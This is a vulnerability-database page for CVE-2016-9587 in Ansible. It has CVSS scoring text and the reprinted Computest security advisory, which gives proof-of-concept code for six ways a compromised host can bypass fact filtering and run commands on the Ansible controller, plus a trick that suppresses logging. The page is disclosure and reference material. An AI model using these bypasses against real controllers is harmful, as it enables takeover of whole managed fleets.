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CVE-2016-9587 : Detail

CVE-2016-9587

8.1
/
HIGH
A03-Injection
1.71%V3
Network
2018-04-24 14:00 +00:00
2018-04-25 07:57 +00:00
CVE.org
NVD

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Descriptions

Ansible before versions 2.1.4, 2.2.1 is vulnerable to an improper input validation in Ansible's handling of data sent from client systems. An attacker with control over a client system being managed by Ansible and the ability to send facts back to the Ansible server could use this flaw to execute arbitrary code on the Ansible server using the Ansible server privileges.

Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metric Score Severity CVSS Vector Source
V3.1 8.1 HIGH CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

High

successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V3.0 6.6 MEDIUM CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

High

A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

High

The attacker is authorized with (i.e. requires) privileges that provide significant (e.g. administrative) control over the vulnerable component that could affect component-wide settings and files.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 41013

Publication date : 2017-01-08 23:00 +00:00
Author : Computest
EDB Verified : No

########### Computest security advisory CT-2017-0109 ############# Summary: Command execution on Ansible controller from host Affected software: Ansible CVE: CVE-2016-9587 Reference URL: https://www.computest.nl/advisories/ CT-2017-0109_Ansible.txt Affected versions: < 2.1.4, < 2.2.1 Credit: Undisclosed at Computest ([email protected]) Date of publication: January 9, 2017 During a summary code review of Ansible, Computest found and exploited several issues that allow a compromised host to execute commands on the Ansible controller and thus gain access to the other hosts controlled by that controller. This was not a full audit and further issues may or may not be present. About Ansible ------------- "Ansible is an open-source automation engine that automates cloud provisioning, configuration management, and application deployment. Once installed on a control node, Ansible, which is an agentless architecture, connects to a managed node through the default OpenSSH connection type." - wikipedia.org Technical Background -------------------- A big threat to a configuration management system like Ansible, Puppet, Salt Stack and others, is compromise of the central node. In Ansible terms this is called the Controller. If the Controller is compromised, an attacker has unfettered access to all hosts that are controlled by the Controller. As such, in any deployment, the central node receives extra attention in terms of security measures and isolation, and threats to this node are taken even more seriously. Fortunately for team blue, in the case of Ansible the attack surface of the Controller is pretty small. Since Ansible is agent-less and based on push, the Controller does not expose any services to hosts. A very interesting bit of attack surface though is in the Facts. When Ansible runs on a host, a JSON object with Facts is returned to the Controller. The Controller uses these facts for various housekeeping purposes. Some facts have special meaning, like the fact "ansible_python_interpreter" and "ansible_connection". The former defines the command to be run when Ansible is looking for the python interpreter, and the second determines the host Ansible is running against. If an attacker is able to control the first fact he can execute an arbitrary command, and if he is able to control the second fact he is able to execute on an arbitrary (Ansible-controlled) host. This can be set to "local" to execute on the Controller itself. Because of this scenario, Ansible filters out certain facts when reading the facts that a host returns. However, we have found 6 ways to bypass this filter. In the scenarios below, we will use the following variables: PAYLOAD = "touch /tmp/foobarbaz" # Define some ways to execute our payload. LOOKUP = "lookup('pipe', '%s')" % PAYLOAD INTERPRETER_FACTS = { # Note that it echoes an empty dictionary {} (it's not a format string). 'ansible_python_interpreter': '%s; cat > /dev/null; echo {}' % PAYLOAD, 'ansible_connection': 'local', # Become is usually enabled on the remote host, but on the Ansible # controller it's likely password protected. Disable it to prevent # password prompts. 'ansible_become': False, } Bypass #1: Adding a host ------------------------ Ansible allows modules to add hosts or update the inventory. This can be very useful, for instance when the inventory needs to be retrieved from a IaaS platform like as the AWS module does. If we're lucky, we can guess the inventory_hostname, in which case the host_vars are overwritten [2] and they will be in effect at the next task. If host_name doesn't match inventory_hostname, it might get executed in the play for the next hostgroup, also depending on the limits set on the commandline. # (Note that when data["add_host"] is set, # data["ansible_facts"] is ignored.) data['add_host'] = { # assume that host_name is the same as inventory_hostname 'host_name': socket.gethostname(), 'host_vars': INTERPRETER_FACTS, } # [1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/strategy/__init__.py#L447 # [2] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/strategy/__init__.py#L580 Bypass #2: Conditionals ----------------------- Ansible actions allow for conditionals. If we know the exact contents of a "when" clause, and we register it as a fact, a special case checks whether the "when" clause matches a variable [1]. In that case it replaces it with its contents and evaluates [2] them. # Known conditionals, separated by newlines known_conditionals_str = """ ansible_os_family == 'Debian' ansible_os_family == "Debian" ansible_os_family == 'RedHat' ansible_os_family == "RedHat" ansible_distribution == "CentOS" result|failed item > 5 foo is defined """ known_conditionals = [x.strip() for x in known_conditionals_str.split('\n')] for known_conditional in known_conditionals: data['ansible_facts'][known_conditional] = LOOKUP [1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/playbook/conditional.py#L118 [2] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/playbook/conditional.py#L125 Bypass #3: Template injection in stat module -------------------------------------------- The template module/action merges its results with those of the stat module. This allows us to bypass [1][2][3] the stripping of magic variables from ansible_facts [4], because they're at an unexpected location in the result tree. data.update({ 'stat': { 'exists': True, 'isdir': False, 'checksum': { 'rc': 0, 'ansible_facts': INTERPRETER_FACTS, }, } }) # [1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/action/template.py#L39 # [2] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/action/template.py#L49 # [3] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/action/template.py#L146 # [4] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/action/__init__.py#L678 Bypass #4: Template injection by changing jinja syntax ------------------------------------------------------ Remote facts always get quoted. Set_fact unquotes them by evaluating them. UnsafeProxy was designed to defend against unquoting by transforming jinja syntax into jinja comments, effectively disabling injection. Bypass the filtering of "{{" and "{%" by changing the jinja syntax [1][2]. The {{}} is needed to make it look like a variable [3]. This works against: - set_fact: foo="{{ansible_os_family}}" - command: echo "{{foo}} data['ansible_facts'].update({ 'exploit_set_fact': True, 'ansible_os_family': "#jinja2:variable_start_string:'[[',variable_end_string:']]',block_start_string:'[%',block_end_string:'%]'\n{{}}\n[[ansible_host]][[lookup('pipe', '" + PAYLOAD + "')]]", }) # [1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/template/__init__.py#L66 # [2] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/template/__init__.py#L469 # [3] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/template/__init__.py#L308 Bypass #5: Template injection in dict keys ------------------------------------------ Strings and lists are properly cleaned up, but dictionary keys are not [1]. This works against: - set_fact: foo="some prefix {{ansible_os_family}} and/or suffix" - command: echo "{{foo}} The prefix and/or suffix are needed in order to turn the dict into a string, otherwise the value would remain a dict. data['ansible_facts'].update({ 'exploit_set_fact': True, 'ansible_os_family': { "{{ %s }}" % LOOKUP: ''}, }) # [1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/vars/unsafe_proxy.py#L104 Bypass #6: Template injection using safe_eval --------------------------------------------- There's a special case for evaluating strings that look like a list or dict [1]. Strings that begin with "{" or "[" are evaluated by safe_eval [2]. This allows us to bypass the removal of jinja syntax [3]: we use the whitelisted Python to re-create a bit of Jinja template that is interpreted. This works against: - set_fact: foo="{{ansible_os_family}}" - command: echo "{{foo}} data['ansible_facts'].update({ 'exploit_set_fact': True, 'ansible_os_family': """[ '{'*2 + "%s" + '}'*2 ]""" % LOOKUP, }) # [1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/template/__init__.py#L334 # [2] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/template/safe_eval.py # [3] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/template/__init__.py#L229 Issue: Disabling verbosity -------------------------- Verbosity can be set on the controller to get more debugging information. This verbosity is controlled through a custom fact. A host however can overwrite this fact and set the verbosity level to 0, hiding exploitation attempts. data['_ansible_verbose_override'] = 0 # [1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/callback/default.py#L99 # [2] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/callback/default.py#L208 Issue: Overwriting files ------------------------ Roles usually contain custom facts that are defined in defaults/main.yml, intending to be overwritten by the inventory (with group and host vars). These facts can be overwritten by the remote host, due to the variable precedence [1]. Some of these facts may be used to specify the location of a file that will be copied to the remote host. The attacker may change it to /etc/passwd. The opposite is also true, he may be able to overwrite files on the Controller. One example is the usage of a password lookup with where the filename contains a variable [2]. [1] http://docs.ansible.com/ansible/playbooks_variables.html#variable-precedence-where-should-i-put-a-variable [2] http://docs.ansible.com/ansible/playbooks_lookups.html#the-password-lookup Mitigation ---------- Computest is not aware of mitigations short of installing fixed versions of the software. Resolution ---------- Ansible has released new versions that fix the vulnerabilities described in this advisory: version 2.1.4 for the 2.1 branch and 2.2.1 for the 2.2 branch. Conclusion ---------- The handling of Facts in Ansible suffers from too many special cases that allow for the bypassing of filtering. We found these issues in just hours of code review, which can be interpreted as a sign of very poor security. However, we don't believe this is the case. The attack surface of the Controller is very small, as it consists mainly of the Facts. We believe that it is very well possible to solve the filtering and quoting of Facts in a sound way, and that when this has been done, the opportunity for attack in this threat model is very small. Furthermore, the Ansible security team has been understanding and professional in their communication around this issue, which is a good sign for the handling of future issues. Timeline -------- 2016-12-08 First contact with Ansible security team 2016-12-09 First contact with Redhat security team ([email protected]) 2016-12-09 Submitted PoC and description to [email protected] 2016-12-13 Ansible confirms issue and severity 2016-12-15 Ansible informs us of intent to disclose after holidays 2017-01-05 Ansible informs us of disclosure date and fix versions 2017-01-09 Ansible issues fixed version

Products Mentioned

Configuraton 0

Redhat>>Ansible >> Version To (excluding) 2.1.4

Configuraton 0

Ansible>>Ansible >> Version To (excluding) 2.2.1

    Configuraton 0

    Redhat>>Openstack >> Version 11

    References

    https://access.redhat.com/errata/RHSA-2017:0515
    Tags : vendor-advisory, x_refsource_REDHAT
    https://www.exploit-db.com/exploits/41013/
    Tags : exploit, x_refsource_EXPLOIT-DB
    https://security.gentoo.org/glsa/201701-77
    Tags : vendor-advisory, x_refsource_GENTOO
    https://access.redhat.com/errata/RHSA-2017:1685
    Tags : vendor-advisory, x_refsource_REDHAT
    http://www.securityfocus.com/bid/95352
    Tags : vdb-entry, x_refsource_BID
    https://access.redhat.com/errata/RHSA-2017:0448
    Tags : vendor-advisory, x_refsource_REDHAT
    http://rhn.redhat.com/errata/RHSA-2017-0195.html
    Tags : vendor-advisory, x_refsource_REDHAT
    http://rhn.redhat.com/errata/RHSA-2017-0260.html
    Tags : vendor-advisory, x_refsource_REDHAT

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